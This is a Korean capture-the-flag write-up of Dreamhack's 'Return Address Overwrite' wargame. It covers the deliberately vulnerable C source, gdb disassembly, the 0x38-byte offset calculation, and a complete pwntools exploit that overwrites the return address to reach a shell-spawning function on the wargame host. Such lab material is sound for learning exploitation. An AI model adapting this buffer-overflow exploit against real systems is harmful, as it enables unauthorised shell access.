[dreamhack] Return Address Overwrite

Monitor In Secure☃️·2024년 5월 22일

wargame_pwn

목록 보기
11/11

주어진 코드)

// Name: rao.c
// Compile: gcc -o rao rao.c -fno-stack-protector -no-pie

#include <stdio.h>
#include <unistd.h>

void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}

void get_shell() {
  char *cmd = "/bin/sh";
  char *args[] = {cmd, NULL};

  execve(cmd, args, NULL);
}

int main() {
  char buf[0x28];

  init();

  printf("Input: ");
  scanf("%s", buf);

  return 0;
}

scanf 함수로 입력 길이를 제한하지 않고 입력을 받고 있다. 따라서 buf 변수의 크기인 0x28(40) 이상의 값을 입력하게 되면 bof가 발생되어 공격을 시도할 수 있다는 사실을 파악할 수 있다.


권한을 부여하고 과도하게 값을 입력하면, segmentation fault가 발생하는 것을 확인할 수 있다.

gdb를 통해 파악해보자면, (gdb 실행파일)

   0x00000000004006e8 <+0>:	push   rbp
   0x00000000004006e9 <+1>:	mov    rbp,rsp
   0x00000000004006ec <+4>:	sub    rsp,0x30
   0x00000000004006f0 <+8>:	mov    eax,0x0
   0x00000000004006f5 <+13>:	call   0x400667 <init>
   0x00000000004006fa <+18>:	lea    rdi,[rip+0xbb]        # 0x4007bc
   0x0000000000400701 <+25>:	mov    eax,0x0
   0x0000000000400706 <+30>:	call   0x400540 <printf@plt>
   0x000000000040070b <+35>:	lea    rax,[rbp-0x30]
   0x000000000040070f <+39>:	mov    rsi,rax
   0x0000000000400712 <+42>:	lea    rdi,[rip+0xab]        # 0x4007c4
   0x0000000000400719 <+49>:	mov    eax,0x0
   0x000000000040071e <+54>:	call   0x400570 <__isoc99_scanf@plt>
   0x0000000000400723 <+59>:	mov    eax,0x0
   0x0000000000400728 <+64>:	leave  
   0x0000000000400729 <+65>:	ret   

64비트 아키텍쳐라는 것을 파악할 수 있고, 때문에 크기는 8바이트 단위로 이뤄져 있다는 것을 알 수 있다.

따라서 스택의 기본 구조를 떠올려 보며 구조를 파악해보면,


이러한 구조로 이루어져 있다는 것을 알 수 있다.

때문에 크기 단위가 8만큼이기 때문에 buf와 ret함수 사이에 0x38만큼 벌어져있다는 것을 알 수 있다. 따라서 0x38만큼 임의의 값으로 값을 채우고 실행하고자 하는 코드의 주소를 입력하면 bof 공격을 시도할 수 있다.
코드에서 get_shell()이라는 함수를 통해 cmd가 실행될 수 있는 부분을 발견할 수 있어서 get_shell()함수 주소를 찾아보는 것이 먼저일 것 같다.

get_shell()함수의 주소 : 0x4006aa

이를 바탕으로 exploit코드를 만들어보자.

exploit code)

from pwn import *

p = remote('host3.dreamhack.games', 13372)  
context.arch="amd64"

payload = b"A"*0x38
payload += b"\xaa\x06\x40\x00\x00\x00\x00\x00" #리틀 엔디언 방식으로 입력

p.recvuntil('Input: ')

p.sendline(payload)
p.interactive()

0개의 댓글